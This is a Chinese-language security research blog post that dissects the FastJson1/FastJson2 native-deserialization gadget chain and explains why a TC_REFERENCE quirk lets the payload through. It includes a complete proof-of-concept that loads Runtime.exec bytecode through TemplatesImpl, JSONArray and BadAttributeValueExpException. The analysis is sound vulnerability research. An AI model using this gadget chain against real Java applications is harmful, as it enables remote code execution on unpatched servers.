FastJson1&FastJson2反序列化利用链分析

2024-08-05 14:31:52 浏览数 (2)

前言

写这篇文章的起因是在二开ysoserial的时候突然发现在Y4er师傅的ysoserial当中有两条关于FastJson的利用链,分别是FastJson1&FastJson2但是这两条利用链都不是像之前分析fastjson利用链一样,之前的利用链分析的是fastjson在解析json格式的数据时,通过构造恶意的json数据来对fastjson进行攻击,期间会涉及到1.2.24-1.2.80等不同版本的绕过以及额外数据包的依赖。而这里的FastJson1&FastJson2是利用FasJson当中某些函数的调用关系,结合java原生反序列化来对目标应用进行攻击的一种方式。

漏洞环境

fastjson1.2.83&fastjson2.x

利用链分析

我先给出我所使用的测试版payload,其大部分内容源自Y4er/ysoserial,我只是从payload当中截取出了一部分内容作为我的测试代码,并加入了一些必须的代码段,如下所示:

代码语言:javascript复制
public class FastJson2 {

    public static byte[] getTemplates() throws IOException, CannotCompileException, NotFoundException {
        ClassPool classPool=ClassPool.getDefault();
        CtClass ctClass=classPool.makeClass("Test");
        ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec("calc");";
        ctClass.makeClassInitializer().insertBefore(block);
        return ctClass.toBytecode();
    }

    public static void setFieldValue(Object obj,String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        byte[] code = getTemplates();

        //装载Templates
        TemplatesImpl template2 = new TemplatesImpl();
        TemplatesImpl template = new TemplatesImpl();
        setFieldValue(template, "_bytecodes", new byte[][] {code});
        setFieldValue(template, "_name", "Evil");


        JSONArray jsonArray = new JSONArray();
        jsonArray.add(template);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException, "val", jsonArray);

        HashMap hashMap = new HashMap();
//        hashMap.put(badAttributeValueExpException,template);
        hashMap.put(template, badAttributeValueExpException);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashMap);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        System.out.println(barr.toByteArray()[1522]);
        try{
            Object o = ois.readObject();
        }catch (Exception e){
        }
 }
}

我们可以直接将断点打到TemplatesImpl对象的newTransformer()上面,因为如果该利用链想要动态加载类的话,就必须要经过这个函数。由此我们可以得到一个完整的利用链,如下所示:

代码语言:javascript复制
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:507)
at com.alibaba.fastjson.serializer.ASMSerializer_1_TemplatesImpl.write(Unknown Source)
at com.alibaba.fastjson.serializer.ListSerializer.write(ListSerializer.java:135)
at com.alibaba.fastjson.serializer.JSONSerializer.write(JSONSerializer.java:312)
at com.alibaba.fastjson.JSON.toJSONString(JSON.java:1077)
at com.alibaba.fastjson.JSON.toString(JSON.java:1071)
at javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:86)
at java.util.HashMap.readObject(HashMap.java:1404)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:422)

BadAttributeValueExpException对象事实上并不陌生,在rome利用链当中就曾出现过它的身影,当时的目的是通过它的readObject方法调用ToStringBean的toString方法,从而引发rome利用链。在这里val字段的值是一个JSONArray对象,所以会调用JSONArray的toString方法。但是由于JSONArray本身并没有toString方法,这里会直接调用JSON的ToString方法(JSONArray extends JSON)

在JSON的ToString会调用自身的toJSONString方法,而toJSONString方法能够调用任意类的getter方法,从而实现了getOutputProperties方法的调用,如下是toJSONString方法

toJsonString是如何实现getter的调用的?

这就要谈到ASM在FastJson当中的应用,Fastjson使用ASM来代替反射,通过ASM的ClassWriter来生成JavaBeanSerializer的子类,重写write方法,JavaBeanSerializer中的write方法会使用反射从JavaBean中获取相关信息,ASM针对不同类会生成独有的序列化工具类,比如ASMSerializer_1_Test ,也会调用getter获取类种相关信息,更详细可以参考[4]-[6]。

比如说,这一部分的函数调用从JSONSerializer.write到ListSerializer.write,然后在ListSerializer.write生成了一个反序列化工具类并赋给了itemSerializer。这一部分我们也可以从下面的变量界面看到,它为TemplatesImpl类创建了一个反序列化工具类(ASMSerializer_1_TemplatesImpl)。最后调用的write方法也是调用这个动态生成的类里面的方法,也就是在这个类里面调用的任意类的getter方法。

我们在调试当中没有办法看到动态生成的代码具体内容,所以这里我选择使用arthas工具来把这个类dump下来。其他方式可以参考[5] 为此我们需要在我们的测试代码当中加入一段自循环,让这个程序进程能够让arthas监控到。

代码语言:javascript复制
public static void main(String[] args) throws Exception {
        byte[] code = getTemplates();

        //装载Templates
        TemplatesImpl template2 = new TemplatesImpl();
        TemplatesImpl template = new TemplatesImpl();
        setFieldValue(template, "_bytecodes", new byte[][] {code});
        setFieldValue(template, "_name", "Evil");


        JSONArray jsonArray = new JSONArray();
        jsonArray.add(template);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException, "val", jsonArray);

        HashMap hashMap = new HashMap();
//        hashMap.put(badAttributeValueExpException,template);
        hashMap.put(template, badAttributeValueExpException);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashMap);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        System.out.println(barr.toByteArray()[1522]);
        try{
            Object o = ois.readObject();
        }catch (Exception e){
        }
        while(true){}

 }

启动arthas之后,然后将arthas attach到目标进程上面

然后使用jad com.alibaba.fastjson.serializer.ASMSerializer_1_TemplatesImpl把这个类的内容dump下来,结果如下:这个类的内容很长,这里只保留write函数

代码语言:javascript复制
Location:
/D:/Java_Tools/apache-maven-3.8.8/mvn_repo/com/alibaba/fastjson/1.2.83/fastjson-1.2.83.jar

/*
 * Decompiled with CFR.
 */
package com.alibaba.fastjson.serializer;

import com.alibaba.fastjson.serializer.JSONSerializer;
import com.alibaba.fastjson.serializer.JavaBeanSerializer;
import com.alibaba.fastjson.serializer.ObjectSerializer;
import com.alibaba.fastjson.serializer.SerialContext;
import com.alibaba.fastjson.serializer.SerializeBeanInfo;
import com.alibaba.fastjson.serializer.SerializeWriter;
import com.alibaba.fastjson.util.ASMUtils;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.IOException;
import java.lang.reflect.Type;
import java.util.Properties;

public class ASMSerializer_1_TemplatesImpl
extends JavaBeanSerializer
implements ObjectSerializer {
    public Type outputProperties_asm_fieldType = ASMUtils.getMethodType(TemplatesImpl.class, "getOutputProperties");
    public ObjectSerializer outputProperties_asm_ser_;
    public Type stylesheetDOM_asm_fieldType = ASMUtils.getMethodType(TemplatesImpl.class, "getStylesheetDOM");
    public ObjectSerializer stylesheetDOM_asm_ser_;

    public ASMSerializer_1_TemplatesImpl(SerializeBeanInfo serializeBeanInfo) {
        super(serializeBeanInfo);
    }

    public void write(JSONSerializer jSONSerializer, Object object, Object object2, Type type, int n) throws IOException {
        ObjectSerializer objectSerializer;
        if (object == null) {
            jSONSerializer.writeNull();
            return;
        }
        SerializeWriter serializeWriter = jSONSerializer.out;
        if (!this.writeDirect(jSONSerializer)) {
            this.writeNormal(jSONSerializer, object, object2, type, n);
            return;
        }
        if (serializeWriter.isEnabled(32768)) {
            this.writeDirectNonContext(jSONSerializer, object, object2, type, n);
            return;
        }
        TemplatesImpl templatesImpl = (TemplatesImpl)object;
        if (this.writeReference(jSONSerializer, object, n)) {
            return;
        }
        if (serializeWriter.isEnabled(0x200000)) {
            this.writeAsArray(jSONSerializer, object, object2, type, n);
            return;
        }
        SerialContext serialContext = jSONSerializer.getContext();
        jSONSerializer.setContext(serialContext, object, object2, 0);
        int n2 = 123;
        String string = "outputProperties";
        Object object3 = templatesImpl.getOutputProperties();
        if (object3 == null) {
            if (serializeWriter.isEnabled(964)) {
                serializeWriter.write(n2);
                serializeWriter.writeFieldNameDirect(string);
                serializeWriter.writeNull(0, 0);
                n2 = 44;
            }
        } else {
            serializeWriter.write(n2);
            serializeWriter.writeFieldNameDirect(string);
            if (object3.getClass() == Properties.class) {
                if (this.outputProperties_asm_ser_ == null) {
                    this.outputProperties_asm_ser_ = jSONSerializer.getObjectWriter(Properties.class);
                }
                if ((objectSerializer = this.outputProperties_asm_ser_) instanceof JavaBeanSerializer) {
                    ((JavaBeanSerializer)objectSerializer).write(jSONSerializer, object3, string, this.outputProperties_asm_fieldType, 0);
                } else {
                    objectSerializer.write(jSONSerializer, object3, string, this.outputProperties_asm_fieldType, 0);
                }
            } else {
                jSONSerializer.writeWithFieldName(object3, string, this.outputProperties_asm_fieldType, 0);
            }
            n2 = 44;
        }
        string = "stylesheetDOM";
        if (!serializeWriter.isEnabled(0x2000000)) {
            object3 = templatesImpl.getStylesheetDOM();
            if (object3 == null) {
                if (serializeWriter.isEnabled(964)) {
                    serializeWriter.write(n2);
                    serializeWriter.writeFieldNameDirect(string);
                    serializeWriter.writeNull(0, 0);
                    n2 = 44;
                }
            } else {
                serializeWriter.write(n2);
                serializeWriter.writeFieldNameDirect(string);
                if (object3.getClass() == DOM.class) {
                    if (this.stylesheetDOM_asm_ser_ == null) {
                        this.stylesheetDOM_asm_ser_ = jSONSerializer.getObjectWriter(DOM.class);
                    }
                    if ((objectSerializer = this.stylesheetDOM_asm_ser_) instanceof JavaBeanSerializer) {
                        ((JavaBeanSerializer)objectSerializer).write(jSONSerializer, object3, string, this.stylesheetDOM_asm_fieldType, 0);
                    } else {
                        objectSerializer.write(jSONSerializer, object3, string, this.stylesheetDOM_asm_fieldType, 0);
                    }
                } else {
                    jSONSerializer.writeWithFieldName(object3, string, this.stylesheetDOM_asm_fieldType, 0);
                }
                n2 = 44;
            }
        }
        string = "transletIndex";
        int n3 = templatesImpl.getTransletIndex();
        serializeWriter.writeFieldValue((char)n2, string, n3);
        n2 = 44;
        if (n2 == 123) {
            serializeWriter.write(123);
        }
        serializeWriter.write(125);
        jSONSerializer.setContext(serialContext);
    }
    ...........
    ............
    ...........
}

从上面的write函数当中,我们就能够看到它依次调用了所有的getter方法。

关于payload当中的未解之谜

fastjson1&fastjson2利用链当中,我们可以发现其中有一个行payload构造如下

代码语言:javascript复制
hashMap.put(template, badAttributeValueExpException);//payload1,下文涉及该payload的内容,均写为payload1

按照调用关系来讲,我们完全可以写成如下的形式:([something]是指任意对象)

代码语言:javascript复制
hashMap.put([somthing], badAttributeValueExpException);//payload2,下文涉及该payload的内容,均写为payload2

但是我们发现不行,程序在运行过程中会抛出InvocationTargetException异常,从而造成程序没有办法按照预期的逻辑走到TemplatesImpl当中的getOutputPorperties(),它的构造形式必须是hashMap.put(template, badAttributeValueExpException)更换位置、改变对象都无法使payload正常生效。

出错的原因

如下是我的调试过程: 这里经过了很多遍调试最终锁定的问题出现位置是badAttributeValueExpException的readobject,这时候前面的template已经处理完了。单步进入第一行的readFields().

然后跟着程序执行逻辑走到getField.readFields()当中,单步进入getField.readFields()

然后走到readobject0(),单步进入该函数

在readObejct0函数当中会进行字段类型的判断,当中字段的类型是Obejct类型的时候就会进入TC_Object分支,这里我们的字段是JsonArray

单步进入readOrdinaryObject函数,往下走会走到readSerialData函数的调用处,单步进入该函数

在该函数当中会对字段的内容进行反序列化操作,会经过一系列的函数调用,其目的是调用该字段类的readobject方法

单步进入invokeReadObject方法

经过如下的一些列函数调用,最终的目的地就是JsonArray的readObejct()方法。invokeReadObject->readObjectMethod.invoke->DelegatingMethodAccessorImpl.invoke->delegate.invoke->invoke0

最终到达目的地调用JsonArray的readObejct方法,该函数方法里面会调用defaultReadObject()方法,单步进入该方法

在defaultReadObject()方法当中其实就是又来一遍之前的内容,从readFields函数调用开始从走一遍,只不过这里调用的方法是defaultReadFields()

这里的嵌套调用是ArrayList类型的字段,这里的逻辑就会通过层层调用方法,想要去反射调用ArrayList的readObject方法

在ArrayListreadObject的最后,会调用一次readObject方法,这一次调用的目标对象是TemplatesImpl,这个我们从payload对象的构造上就能够获知

它的readObject方法同理也是需要经过多次反复调用,最终通过invoke方法进行反射调用,最终的代码段如下所示,该代码段位于TemplatesImpl#readObject内部,其会调用ois的readFields进行字段读取,就像之前梳理其他字段的过程一样

我们直接来到处理最关键字段的过程(我们写入的字节流对象),他首先从我们输入的序列化字节流当中拿到了对应的类型为TC_Array

单步进入readArray当中进行处理

然后单步进入ObjectInputStream#readClassDesc()

然后单步进入readNonProxyDesc(),如下所示,readDesc对象在处理当中被赋值为了序列化的字节数组对象(_bytecodes)

单步进入resolveClass,问题就出现在这里,整个程序的运行逻辑会从这里直接断开抛出异常,这里的[[B类型通过前面的判断之后走到最下面的TypeUtils.getClassFromMapping()的时候已经成为了B,此时调用的resolveClass是JSONObject#resolveClass

很显然在fastjson的checkautotype当中B这种序列化后的类型表示是并不存在的,所以直接返回报了错

问题一:badAttributeValueExpException当中的template无法正常识别,为什么外面的template能正常解析呢?

经过调试后发现,他们所调用的resolveClass()并不是同一个resolveClass(),如果把TemplatesImpl放在前面,就像下面这样

代码语言:javascript复制
hashMap.put(template, badAttributeValueExpException);

那么在处理第一个部分的template对象的时候调用的是ObjectInputStream#resolveClass(),如下图所示

这个resolveClass什么都不管直接把输入进来的类型直接放到forName里面去找,然后返回对应的类型,所以他完全可以正常执行,而不影响到后面

问题二:既然badAttributeValueExpException当中的template不能正常解析,按理来说前一个payload1也不能执行,但是为什么可以正常执行?

答案是存在绕过现象,在之前的流程分析当中,我们大致可以理清ois对于readObject的一些处理流程,他会调用readFields()函数来对对象中的字段进行读取。而readFields里面就发生了绕过的现象,他会从我们的序列化字节流里面去拿到对应的标识tc,在之前出现过TC_Object,TC_Array等等不同的类型。

但是如果使用的是第一个payload也就是正确的payload的时候,在处理JSONArray里面的template的时候,它所获得的TC标识并不是TC_Obejct而是TC_Reference

TC_REFERENCE,是一个引用类型。从前面的几个结构可以看出来,序列化后的数据其实相当繁琐,多层嵌套很容易搞乱,在恢复对象的时候也不太容易。于是就有了引用这个东西,他可以引用在此之前已经出现过的对象。

所以正是前面出现过的template,使得后续ois在处理反序列化字节流的时候,直接形成了绕过,引用了前面已经反序列化好的template对象,避免了由于B类型没法正常识别而造成的异常。

总结

首先是被嵌套在JSONArray里面的template对象,由于JSONObject#resolve()无法正常解析B类型的缘故,所以造成payload2无法正常执行,其次是前一个template对象在ObjectInputStream#resolveClass的作用下成功解析,并协助后面的JSONArray里面的template绕过了审查。

参考文章

https://blog.kaibro.tw/2020/02/23/Java反序列化之readObject分析/

https://www.163.com/dy/article/DMAD0T6P05119F6V.html

0 人点赞